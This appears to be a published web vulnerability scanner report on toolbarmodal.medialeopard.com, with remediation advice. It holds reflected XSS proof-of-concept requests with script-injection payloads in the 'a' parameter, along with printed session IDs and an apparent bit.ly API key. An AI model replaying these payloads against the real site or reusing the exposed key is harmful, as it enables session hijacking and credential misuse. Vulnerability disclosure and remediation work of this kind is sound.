XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, toolbarmodal.medialeopard.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://toolbarmodal.medialeopard.com/sharethis/share/frame [a parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/share/frame

Issue detail

The value of the a request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5b02"><script>alert(1)</script>1e2969db94b was submitted in the a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sharethis/share/frame?a=e5b02"><script>alert(1)</script>1e2969db94b HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:07 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=DE4945F2829B630B0B8CD3CA9F270A7F; Path=/
Content-Length: 6303
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<img src="e5b02"><script>alert(1)</script>1e2969db94b" id="oAsset" />
...[SNIP]...

1.2. http://toolbarmodal.medialeopard.com/sharethis/share/frame [a parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/share/frame

Issue detail

The value of the a request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f080'%3balert(1)//a3996fcfd03 was submitted in the a parameter. This input was echoed as 7f080';alert(1)//a3996fcfd03 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sharethis/share/frame?a=7f080'%3balert(1)//a3996fcfd03 HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:08 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=F19EF1CFBCAB8B55C529991C4CAE450A; Path=/
Content-Length: 6235
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
age!';
for (r in data.results) { shareUrl = data.results[r].shortUrl; break; }
fbSHU = encodeURIComponent(('http://'+window.location.host+'/sharethis/facebook?v=45&t=&p=_SHU_&a=7f080';alert(1)//a3996fcfd03').replace(/_SHU_/,shareUrl));
gid('ggshtwitter').href = 'http://twitter.com/home?status='+encodeURIComponent('_C_ _SHU_'.replace(/_C_/,caption).replace(/_SHU_/,shareUrl));
gid(
...[SNIP]...

1.3. http://toolbarmodal.medialeopard.com/sharethis/shared/frame [a parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/shared/frame

Issue detail

The value of the a request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7a84"><script>alert(1)</script>f6dc97618cd was submitted in the a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sharethis/shared/frame?a=f7a84"><script>alert(1)</script>f6dc97618cd HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:07 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=11D47289542ECFC8D5E50FB872D97FD1; Path=/
Content-Length: 6636
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<img src="f7a84"><script>alert(1)</script>f6dc97618cd" id="oAsset" />
...[SNIP]...

1.4. http://toolbarmodal.medialeopard.com/sharethis/shared/frame [a parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/shared/frame

Issue detail

The value of the a request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb715'%3balert(1)//a89449d3676 was submitted in the a parameter. This input was echoed as bb715';alert(1)//a89449d3676 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sharethis/shared/frame?a=bb715'%3balert(1)//a89449d3676 HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:07 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=7A333CCCFE8393BEAB7076A912C8AE48; Path=/
Content-Length: 6568
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
age!';
for (r in data.results) { shareUrl = data.results[r].shortUrl; break; }
fbSHU = encodeURIComponent(('http://'+window.location.host+'/sharethis/facebook?v=45&t=&p=_SHU_&a=bb715';alert(1)//a89449d3676').replace(/_SHU_/,shareUrl));
gid('ggshtwitter').href = 'http://twitter.com/home?status='+encodeURIComponent('_C_ _SHU_'.replace(/_C_/,caption).replace(/_SHU_/,shareUrl));
gid(
...[SNIP]...

1.5. http://toolbarmodal.medialeopard.com/zoom/frame [a parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/zoom/frame

Issue detail

The value of the a request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7a53"><script>alert(1)</script>4c520f4d99f was submitted in the a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /zoom/frame?a=e7a53"><script>alert(1)</script>4c520f4d99f HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:08 GMT
Server: nginx/0.6.35
Set-Cookie: ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/
Set-Cookie: JSESSIONID=A6117358A00B87D03A4EE6256FD6A20D; Path=/
Content-Length: 6864
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<img id="origImag" src="e7a53"><script>alert(1)</script>4c520f4d99f" />
...[SNIP]...

2. Session token in URL previous next
There are 4 instances of this issue:

/sharethis/share/frame
/sharethis/shared/frame
/viewmore/frame
/zoom/frame

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

2.1. http://toolbarmodal.medialeopard.com/sharethis/share/frame previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/share/frame

Issue detail

The response contains the following links that appear to contain session tokens:

http://toolbarmodal.medialeopard.com/sharethis/view;jsessionid=C9CCBDD42DC300C90EF861628BC8E280?v=45&t=&p=&a=&l=&time=1325558285069

Request

GET /sharethis/share/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=C9CCBDD42DC300C90EF861628BC8E280; Path=/
Content-Length: 6117
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</div>

<img src="/sharethis/view;jsessionid=C9CCBDD42DC300C90EF861628BC8E280?v=45&t=&p=&a=&l=&time=1325558285069" width="1" height="1" style="display:none"/>
<script type="text/javascript" src="http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca">
...[SNIP]...

2.2. http://toolbarmodal.medialeopard.com/sharethis/shared/frame previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/shared/frame

Issue detail

The response contains the following links that appear to contain session tokens:

http://toolbarmodal.medialeopard.com/sharethis/view;jsessionid=8472F44BEFFF45D61E4D09C91C20728C?v=45&t=&p=&a=&l=true&time=1325558285123

Request

GET /sharethis/shared/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=8472F44BEFFF45D61E4D09C91C20728C; Path=/
Content-Length: 6450
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</div>

<img src="/sharethis/view;jsessionid=8472F44BEFFF45D61E4D09C91C20728C?v=45&t=&p=&a=&l=true&time=1325558285123" width="1" height="1" style="display:none"/>
<script type="text/javascript" src="http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca">
...[SNIP]...

2.3. http://toolbarmodal.medialeopard.com/viewmore/frame previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/viewmore/frame

Issue detail

The response contains the following links that appear to contain session tokens:

http://toolbarmodal.medialeopard.com/viewmore/view;jsessionid=E7C99368A8A32E9CDF541B932F3C8A54?v=50&t=&p=&a=&time=1325558285911

Request

GET /viewmore/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/
Set-Cookie: JSESSIONID=E7C99368A8A32E9CDF541B932F3C8A54; Path=/
Connection: Close
Content-Length: 14081

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</div>

<img src="/viewmore/view;jsessionid=E7C99368A8A32E9CDF541B932F3C8A54?v=50&t=&p=&a=&time=1325558285911" width="1" height="1" style="display:none"/>
<div id="jsonp">
...[SNIP]...

2.4. http://toolbarmodal.medialeopard.com/zoom/frame previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/zoom/frame

Issue detail

The response contains the following links that appear to contain session tokens:

http://toolbarmodal.medialeopard.com/zoom/view;jsessionid=A51F3CAEFDBFBC2CB135C96A98390C37?v=48&t=&p=&a=&time=1325558285196

Request

GET /zoom/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/
Set-Cookie: JSESSIONID=A51F3CAEFDBFBC2CB135C96A98390C37; Path=/
Content-Length: 6764
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</div>

<img src="/zoom/view;jsessionid=A51F3CAEFDBFBC2CB135C96A98390C37?v=48&t=&p=&a=&time=1325558285196" width="1" height="1" style="display:none"/>
<script type="text/javascript">
...[SNIP]...

3. Cookie without HttpOnly flag set previous next
There are 4 instances of this issue:

/sharethis/share/frame
/sharethis/shared/frame
/viewmore/frame
/zoom/frame

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

3.1. http://toolbarmodal.medialeopard.com/sharethis/share/frame previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/share/frame

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=C9CCBDD42DC300C90EF861628BC8E280; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sharethis/share/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

3.2. http://toolbarmodal.medialeopard.com/sharethis/shared/frame previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/shared/frame

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=8472F44BEFFF45D61E4D09C91C20728C; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sharethis/shared/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

3.3. http://toolbarmodal.medialeopard.com/viewmore/frame previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/viewmore/frame

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=E7C99368A8A32E9CDF541B932F3C8A54; Path=/
ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /viewmore/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

3.4. http://toolbarmodal.medialeopard.com/zoom/frame previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://toolbarmodal.medialeopard.com
Path:	/zoom/frame

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=A51F3CAEFDBFBC2CB135C96A98390C37; Path=/
ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /zoom/frame HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4. Cross-domain Referer leakage previous next
There are 4 instances of this issue:

/sharethis/share/frame
/sharethis/shared/frame
/viewmore/frame
/zoom/frame

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

4.1. http://toolbarmodal.medialeopard.com/sharethis/share/frame previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/share/frame

Issue detail

The page was loaded from a URL containing a query string:

http://toolbarmodal.medialeopard.com/sharethis/share/frame?a=

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca
http://gumgum.com/?s=sht
http://partner.googleadservices.com/gampad/google_service.js
http://www.facebook.com/
http://www.twitter.com/

Request

GET /sharethis/share/frame?a= HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=02E9FB9373695C7B55A703EEDAF052A1; Path=/
Content-Length: 6117
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<div class="share_ops">
<a id="ggshfacebook" class="facebook" href="http://www.facebook.com/">Facebook</a>
<a id="ggshtwitter" class="twitter" href="http://www.twitter.com/" target="newtab">Twitter</a>
...[SNIP]...
</div>
<a class="bygumgum" href="http://gumgum.com/?s=sht" target="newtab"></a>
...[SNIP]...
<img src="/sharethis/view;jsessionid=02E9FB9373695C7B55A703EEDAF052A1?v=45&t=&p=&a=&l=&time=1325558285224" width="1" height="1" style="display:none"/>
<script type="text/javascript" src="http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca"></script>
...[SNIP]...

4.2. http://toolbarmodal.medialeopard.com/sharethis/shared/frame previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/sharethis/shared/frame

Issue detail

The page was loaded from a URL containing a query string:

http://toolbarmodal.medialeopard.com/sharethis/shared/frame?a=

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca
http://gumgum.com/?s=sht
http://partner.googleadservices.com/gampad/google_service.js
http://www.facebook.com/
http://www.twitter.com/

Request

GET /sharethis/shared/frame?a= HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: JSESSIONID=1B2526D377DFAEB1FF80D06995BA1267; Path=/
Content-Length: 6450
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<div class="share_ops">
<a id="ggshfacebook" class="facebook" href="http://www.facebook.com/">Facebook</a>
<a id="ggshtwitter" class="twitter" href="http://www.twitter.com/" target="newtab">Twitter</a>
...[SNIP]...
</div>
<a class="bygumgum" href="http://gumgum.com/?s=sht" target="newtab"></a>
...[SNIP]...
<img src="/sharethis/view;jsessionid=1B2526D377DFAEB1FF80D06995BA1267?v=45&t=&p=&a=&l=true&time=1325558285045" width="1" height="1" style="display:none"/>
<script type="text/javascript" src="http://bit.ly/javascript-api.js?version=latest&login=gumgum&apiKey=R_b601642a83fbd40e561c0206295682ca"></script>
...[SNIP]...

4.3. http://toolbarmodal.medialeopard.com/viewmore/frame previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/viewmore/frame

Issue detail

The page was loaded from a URL containing a query string:

http://toolbarmodal.medialeopard.com/viewmore/frame?a=

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://gumgum.com/?s=vmr
http://objects.tremormedia.com/embed/js/banners.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET /viewmore/frame?a= HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:06 GMT
Server: nginx/0.6.35
Set-Cookie: ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/
Set-Cookie: JSESSIONID=773C5338BFBCE8E716F76E8FDC8D1993; Path=/
Content-Length: 14081
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...

<script type='text/javascript' src="http://objects.tremormedia.com/embed/js/banners.js"></script>
...[SNIP]...
<div class="bygumgum">
<a target="gumgum" href="http://gumgum.com/?s=vmr"><img src="/images/toolbar/viewmore/powered.jpg" title="Powered by GumGum" />
...[SNIP]...

4.4. http://toolbarmodal.medialeopard.com/zoom/frame previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarmodal.medialeopard.com
Path:	/zoom/frame

Issue detail

The page was loaded from a URL containing a query string:

http://toolbarmodal.medialeopard.com/zoom/frame?a=

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET /zoom/frame?a= HTTP/1.1
Host: toolbarmodal.medialeopard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Tue, 03 Jan 2012 02:38:05 GMT
Server: nginx/0.6.35
Set-Cookie: ggtests=t3%3D44%26t2%3D23%26t1%3D49%26t10%3D48%26t11%3D50%26t4%3D7%26t6%3D43%26t7%3D45%26t9%3D47; Domain=.gumgum.com; Path=/
Set-Cookie: JSESSIONID=8980E6249D49350519D3DAD888B49050; Path=/
Content-Length: 6764
Connection: Close

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</style>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...

5. Cross-domain script include previous
There are 4 instances of this issue:

/sharethis/share/frame
/sharethis/shared/frame
/viewmore/frame
/zoom/frame

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

